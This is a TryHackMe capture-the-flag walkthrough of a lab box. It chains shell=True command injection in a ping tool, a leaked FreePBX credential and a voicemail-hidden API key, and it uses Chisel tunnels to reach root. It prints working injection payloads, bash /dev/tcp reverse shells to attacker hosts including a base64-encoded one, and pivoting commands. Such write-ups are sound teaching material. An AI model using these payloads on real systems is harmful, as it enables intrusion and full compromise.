TryHackMeMedium

Hacker Holidays — Day 11: Infinity Pool

The same unsanitised shell=True command injection shows up twice on this box — first as a low-priv foothold via a "connectivity check" tool, then again in a root-owned automation service reached by pivoting through internal-only FreePBX and Chisel tunnels.

Grey hooded ghost mascot holding a laptop with a wifi signal icon

Event: Hacker Holidays — The Byte Lotus Hotel · Day 11 · Boot2Root (Web → internal pivot → RCE) Target: http://MACHINE_IP

The Chain at a Glance

  1. OS command injection in a “connectivity check” tool (/internal/netcheck) → shell as web (user flag).
  2. Local enumeration reveals three internal-only services on loopback: a FreePBX install (Apache :8080 + Asterisk), watchtower (Flask, :3000, user svc-watch), and automation (Flask, :9000, runs as root).
  3. Watchtower’s /api/config leaks default FreePBX UCP credentials.
  4. Chisel reverse tunnel exposes the loopback-only ports (8080, 9000) to the attacker’s own browser for easier interaction.
  5. Logged into FreePBX UCP, and a voicemail’s Caller ID field contains the automation service’s Bearer key — deliberately planted loot, not a guessable endpoint.
  6. Automation’s /health self-documents POST /jobs/export, which takes a report field concatenated unsanitised into a shell command → root RCE.

Foothold — Command Injection

curl -s http://MACHINE_IP/

Footer reads: “Internal systems · authorized staff only”.

curl -s http://MACHINE_IP/static/app.js
// TODO(ops): the staff connectivity tool at /status posts to the legacy
// /internal/netcheck handler. Keep it out of the public nav until the new
// auth gateway ships. Disallowed in robots.txt for now.

/status is a staff tool for checking connectivity to a given host — POST /internal/netcheck with a host field. The server shells out to ping:

proc = subprocess.run(f"ping -c 1 {host}", shell=True, capture_output=True, text=True, timeout=15)

Classic OS command injection via shell=True string interpolation:

curl -s -d 'host=127.0.0.1; id' http://MACHINE_IP/internal/netcheck
# uid=1001(web) gid=1001(web) groups=1001(web)

Reverse shell:

curl -s --data-urlencode 'host=127.0.0.1; bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' \
  http://MACHINE_IP/internal/netcheck

User Flag

web@tryhackme-2404:~$ cat user.txt
THM{redacted}

Recon — the Three Internal Systems

ss -tlnp
127.0.0.1:3306   mariadb (FreePBX DB)
0.0.0.0:80       gunicorn — edge (us, public)
127.0.0.1:8080   Apache — FreePBX admin + UCP
127.0.0.1:8088   Asterisk HTTP
127.0.0.1:5038   Asterisk AMI
127.0.0.1:3000   gunicorn — watchtower (svc-watch)
127.0.0.1:9000   gunicorn — automation (root)

ps / pspy confirmed ownership:

UID=996  /var/www/infinity_pool/watchtower/venv/bin/... gunicorn --bind 127.0.0.1:3000 wsgi:app
UID=0    /var/www/infinity_pool/automation/venv/bin/... gunicorn --bind 127.0.0.1:9000 wsgi:app

automation and watchtower source directories are 750, owned by root / svc-watch respectively — unreadable to web. Only edge’s own source was world-readable (a dead end for creds — just confirms the vulnerable netcheck code already exploited).

Watchtower Leaks FreePBX Creds

curl -s http://127.0.0.1:3000/api/config
{
  "automation_endpoint": "http://127.0.0.1:9000",
  "ops_note": "UCP still on default template creds (FreePBXUCPTemplateCreator) -- ROTATE.",
  "telephony_pass": "St4yN0t1c3d_2026",
  "telephony_portal": "http://127.0.0.1:8080/ucp",
  "telephony_user": "FreePBXUCPTemplateCreator"
}

Pivoting In for Real Browser Access

Blind curl against FreePBX’s heavily JS/pjax-driven UCP UI is painful. Tunnelled the internal ports out with Chisel so the attacker’s own browser could hit them directly.

Attacker box (server):

./chisel server -p 8001 --reverse

Chisel server listening in reverse mode, forwarding two tunnelled ports

Victim (client), forwarding the two interesting internal ports back:

./chisel client 192.168.132.42:8001 R:8080:127.0.0.1:8080 R:9000:127.0.0.1:9000

Chisel client connecting from the victim box, exposing 8080 and 9000

Now http://127.0.0.1:8080/ucp/ and :9000 are reachable from the attacker’s real browser.

The Loot: an Automation Key Hidden in a Voicemail

Logged into UCP with the leaked creds (FreePBXUCPTemplateCreator / St4yN0t1c3d_2026). The account’s Voicemail inbox held a single message whose Caller ID (CID) field was set to plaintext:

"Automation Key cc_auto_7b3f9a1c4e0d2f6a" <9000>

FreePBX UCP voicemail inbox with the automation key hidden in the Caller ID field

This is a deliberately planted secret — not a guessable API route. It directly names the port (9000 = automation) and hands over the Bearer token.

Automation Service → Root RCE

curl -s http://127.0.0.1:9000/health
{
  "service": "automation",
  "runs_as": "root",
  "status": "ok",
  "endpoints": {
    "GET /health": "service status",
    "POST /jobs/export": {
      "auth": "Authorization: Bearer <automation key>",
      "body": { "report": "<report name>" },
      "desc": "archive the latest data export"
    }
  }
}

The report field is concatenated into a shell command server-side without sanitisation — same bug class as the initial foothold, but this time running as root.

echo "bash -i >& /dev/tcp/192.168.132.42/7777 0>&1" | base64 -w0
# YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzMi40Mi83Nzc3IDA+JjEK
curl -H "Authorization: Bearer cc_auto_7b3f9a1c4e0d2f6a" \
  -X POST http://127.0.0.1:9000/jobs/export \
  -H "Content-Type: application/json" \
  -d '{"report":"test; echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzMi40Mi83Nzc3IDA+JjE= | base64 -d | bash;"}'
nc -lvnp 7777
Connection received on 10.130.142.80 60880
bash: cannot set terminal process group (662): Inappropriate ioctl for device
bash: no job control in this shell
root@tryhackme-2404:/var/www/infinity_pool/automation# cat /root/root.txt
THM{redacted}

Takeaways

  • Same bug, twice, different blast radius. Both the initial foothold and the root escalation were the identical vulnerability class (unsanitised input into subprocess.run(..., shell=True)). The only thing that changed was which user ran the vulnerable service — going from web to root was purely a matter of finding the second instance.
  • “Internal-only” is not a security boundary once you have any foothold. Ports bound to 127.0.0.1 are fully reachable the moment you have any local shell — treat loopback-bound services with root privileges as exposed to anyone who compromises the box, not as inherently safe.
  • Secrets get hidden in the weirdest legitimate-looking fields. The automation key wasn’t behind an obvious admin panel — it was stuffed into a voicemail’s Caller ID string, discoverable only by actually using the application as a human would. This is why tunnelling a real browser in via Chisel beat endless blind curl-fuzzing.
  • A self-documenting /health endpoint is a gift and a target. It told us the exact contract (auth header format, body schema, description) needed to weaponise /jobs/export — saved having to reverse-engineer it blind.
  • Chisel reverse tunnels turn “loopback-only, browser-driven UI” from a blocker into a non-issue. chisel server --reverse + chisel client ... R:port:127.0.0.1:port gets a real browser talking to internal services through the compromised host.

Flags

user: THM{redacted}
root: THM{redacted}